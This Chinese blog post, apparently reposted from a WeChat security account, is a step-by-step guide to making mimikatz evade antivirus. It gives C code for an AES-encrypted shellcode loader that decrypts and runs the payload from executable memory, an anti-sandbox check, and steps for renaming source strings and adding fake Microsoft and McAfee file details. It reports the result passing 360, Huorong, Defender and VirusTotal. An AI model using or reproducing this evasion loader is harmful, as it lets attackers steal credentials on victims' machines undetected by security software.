峰回路转之mimikatz通杀杀软

admin 2023年11月27日23:58:56评论39 views字数 4859阅读16分11秒阅读模式
峰回路转之mimikatz通杀杀软

前言

关于mimikatz,之前有做过一些免杀尝试,但是效果不好,仅仅只能短暂躲避360的查杀,这几天看了很多mimikatz免杀的文章有了一些新的想法,于是再次尝试mimikatz免杀。

整个免杀的过程比较曲折且艰难,先是尝试源码免杀,发现源码免杀比较艰难(mimikatz是一个个非常复杂的项目,想要实现源码免杀,需要不断的定位特征码,然后消除特征,我比较菜,无法通过定位到的特征找到对应的源代码),简易的源码免杀已无法对杀软产生太大的作用,于是做了一些简单的处理后放弃了源码免杀。之前有了解github上有项目可以把exe转换成可执行的shellcode,于是想着尝试利用这个项目把mimikatz转换成shellcode,通过shellcode加载器去执行,这样可能会绕过杀软检测,最后也是实现了不错的免杀效果。

免杀过程

首先进行源码免杀,虽说免杀效果不好,但是处理过的总比不做处理要好一点。下载mimikatz源码,项目地址https://github.com/gentilkiwi/mimikatz,运行mimikatz.sln,需要对vs进行一些修改,右键mimikatz项目名称,选择平台工具集,我的vs是2019,选择2019即可

峰回路转之mimikatz通杀杀软

接着需要安装MFC,在开始界面选择visual Studio Installer运行,点击修改

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

勾选MFC,其他默认进行安装即可

峰回路转之mimikatz通杀杀软

重新打开mimikatz.sln,右键项目属性修改这几个地方

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

修改完后保存,右键解决方案,修改配置属性为X64

峰回路转之mimikatz通杀杀软

对mimikatz关键字进行替换把mimikatz替换成mihoutao,大写和小写都进行替换,vs选择编辑-查找和替换-在文件中替换,勾选区分大小写,点全部替换即可

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

接着对mimikatz作者的信息进行去除,在整个解决方案搜索替换成空即可

峰回路转之mimikatz通杀杀软

替换后为

峰回路转之mimikatz通杀杀软

在mimikatz.c中对mimikatz打开时的输出信息进行修改,修改成你想要的即可,我这里修改后是这样

峰回路转之mimikatz通杀杀软

对mimikaz文件名进行修改,所有的mimikatz命名的文件都修改掉,我修改后是这样子

峰回路转之mimikatz通杀杀软

注意里面有几个.def后缀的文件,修改文件名后,需要在属性-链接器中修改成对应的名称

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

接着删去mimikatz的资源文件,把.rz和.ico后缀的文件全部删除,删完如下

峰回路转之mimikatz通杀杀软

对mimikatz重新生成,看是否还能正常使用,右键mihoutao(修改后的项目名称)点击重新生成即可,这里一定不要选择重新生成解决方案,否则会编译不成功

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

运行编译后的程序,抓取hash可以正常使用,源码简单处理完成。

峰回路转之mimikatz通杀杀软

使用项目https://github.com/hasherezade/pe_to_shellcode把编译后的程序转换成可执行的shellcode,用法:命令行输入pe2shc.exe mihoutao.exe -o 1.bin,得到shellcode。对shellcode进行处理,还是使用aes加密,把aes加密后的16进制字符串保存到encrypted.txt中。接着就是要写一个loader来对encrypted.txt中的shellcode进行解密并执行。

解密和加密使用的模式和key要保持一致,我使用的ECB模式,key设置为1234567812345678

// ... decrypt函数 ...int decrypt(unsigned char* ciphertext, int ciphertext_len, unsigned char* key,    unsigned char* plaintext) {    EVP_CIPHER_CTX* ctx;    int len;    int plaintext_len;

    // 创建并初始化解密上下文    if (!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

    // 初始化解密操作    if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL))        handleErrors();

    // 提供要解密的消息,并获取明文输出    if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))        handleErrors();    plaintext_len = len;

    // 完成解密过程    if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) handleErrors();    plaintext_len += len;

    // 清理    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;}

这里我把encrypted.txt放到项目目录下,通过资源加载的方式对shellcode进行读取,右键资源文件把encrypted.txt加载进来,文件类型TEXT保存即可

峰回路转之mimikatz通杀杀软

需要对资源文件进行修改,打开resource.h,添加#define IDR_ENCRYPTED_TEXT 101
峰回路转之mimikatz通杀杀软
rz文件中检查是否存在这一行,IDR_TEXT1 TEXT "encrypted.txt",没有就添加好
峰回路转之mimikatz通杀杀软

读取资源文件的代码

// 读取资源文件    HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_ENCRYPTED_TEXT), TEXT("TEXT"));    if (hRes == NULL) {

        // 处理错误        return 1;    }    HGLOBAL hData = LoadResource(NULL, hRes);    if (hData == NULL) {

        // 处理错误        return 1;    }    char* data = (char*)LockResource(hData);    DWORD dataSize = SizeofResource(NULL, hRes);

    // 请确保资源数据是以NULL结尾的字符串    char* hex_encrypted_shellcode = (char*)malloc(dataSize + 1);    if (hex_encrypted_shellcode == NULL) {

        perror("malloc");        return 1;    }    memcpy(hex_encrypted_shellcode, data, dataSize);    hex_encrypted_shellcode[dataSize] = '�';

解密shellcode并执行

 // 计算十六进制字符串表示的shellcode的长度    size_t hex_shellcode_len = strlen(hex_encrypted_shellcode);    // 分配内存以存储二进制形式的shellcode    size_t bin_shellcode_len = hex_shellcode_len / 2;    unsigned char* bin_encrypted_shellcode = (unsigned char*)malloc(bin_shellcode_len);    if (bin_encrypted_shellcode == NULL) {

        perror("malloc");        free(hex_encrypted_shellcode);        return 1;    }

    // 将十六进制字符串转换为二进制数据    hex_to_bin(hex_encrypted_shellcode, bin_encrypted_shellcode, bin_shellcode_len);

    // 分配内存以存储解密后的shellcode    unsigned char* decrypted_shellcode = (unsigned char*)malloc(bin_shellcode_len); // 使用原始长度    if (decrypted_shellcode == NULL) {

        perror("malloc");        free(bin_encrypted_shellcode);        free(hex_encrypted_shellcode);        return 1;    }

    // 解密shellcode    int decrypted_len = decrypt(bin_encrypted_shellcode, bin_shellcode_len, key, decrypted_shellcode);    if (decrypted_len == -1) {

        // 解密失败,处理错误        handleErrors();        // 清理代码应该在 handleErrors 之前或之后(如果 handleErrors 不退出)    }



    // 分配可执行内存    void* exec = VirtualAlloc(0, decrypted_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (exec == NULL) {        perror("VirtualAlloc");        free(decrypted_shellcode);        free(bin_encrypted_shellcode);        return 1;    }    memcpy(exec, decrypted_shellcode, decrypted_len);

    // 转换为函数指针并执行    void (*func)() = (void (*)())exec;    func();

然后再添加反沙箱代码

 // 获取可执行文件的完整路径    if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) {        // 处理错误        perror("GetModuleFileName failed");        return 1;    }

    // 从可执行文件路径中移除文件名,只留下目录    PathRemoveFileSpec(exePath);

    // 构建1.txt文件的完整路径    PathCombine(filePath, exePath, "1.txt");

    // 检查文件是否存在    attributes = GetFileAttributes(filePath);    if (attributes == INVALID_FILE_ATTRIBUTES) {        // 文件不存在或发生错误        perror("GetFileAttributes failed");        return 1; // 或者你可以根据需要进行其他处理    }

这样一个aes解密的loader就完成了,对代码进行编译测试免杀效果,这个时候我遇到一个问题,编译后的exe在defender环境疯狂查杀,一开始我以为是我代码的问题,于是我对关键代码进行注释,一步步排查问题,我把所有函数都注释完了进行编译仍然报毒被杀,这让我百思不得其解,然后我突然想要是不是我这个项目名称的问题,我一开始的项目名称是mimikatz_loader,所以我进入这个项目的文件夹,发现果然存在好几个mimikatz命名的文件,这可能就是defender查杀我的原因

峰回路转之mimikatz通杀杀软

所以我新建了一个项目,重新编译了一下,再次放进defender环境,果然不杀了。所以一定不要用mimikatz作为项目名称,否则就会被杀软认定为恶意程序。这个时候虽然过了静态查杀,但是又出现了另一个问题,我的程序运行之后并没有弹出mimikatz的窗口,弹不出命令行说明无法执行命令,意味着这个loader写的没有意义,这个问题我想了一晚上突然茅塞顿开,想要了一个导致这个问题的原因,那就是我创建的项目是windows桌面应用,而mimikatz是一个命令行工具。在我把程序调整成控制台应用再次编译执行,发现成功弹出mimikatz的命令行,问题解决。最后对mihoutao添加微软的详细信息和McAfee的签名,如下

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

免杀完成!

免杀效果

360核晶防护环境

峰回路转之mimikatz通杀杀软

火绒环境

峰回路转之mimikatz通杀杀软

defender环境

峰回路转之mimikatz通杀杀软

VT和微步云沙箱测试结果

峰回路转之mimikatz通杀杀软

峰回路转之mimikatz通杀杀软

总结

1.在mimikatz免杀项目中,不要使用mimikatz来对文件或项目命名,否则会碰到杀软的无情查杀。2.mimikatz本质上是一个命令行工具,创建vs项目要选择控制台应用,这是一个血淋淋的教训,切记切记。3.AES算法用来做免杀loader非常不错,建议都去尝试下。

原文始发于微信公众号(听风安全):峰回路转之mimikatz通杀杀软

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月27日23:58:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   峰回路转之mimikatz通杀杀软http://cn-sec.com/archives/2244384.html

发表评论

匿名网友 填写信息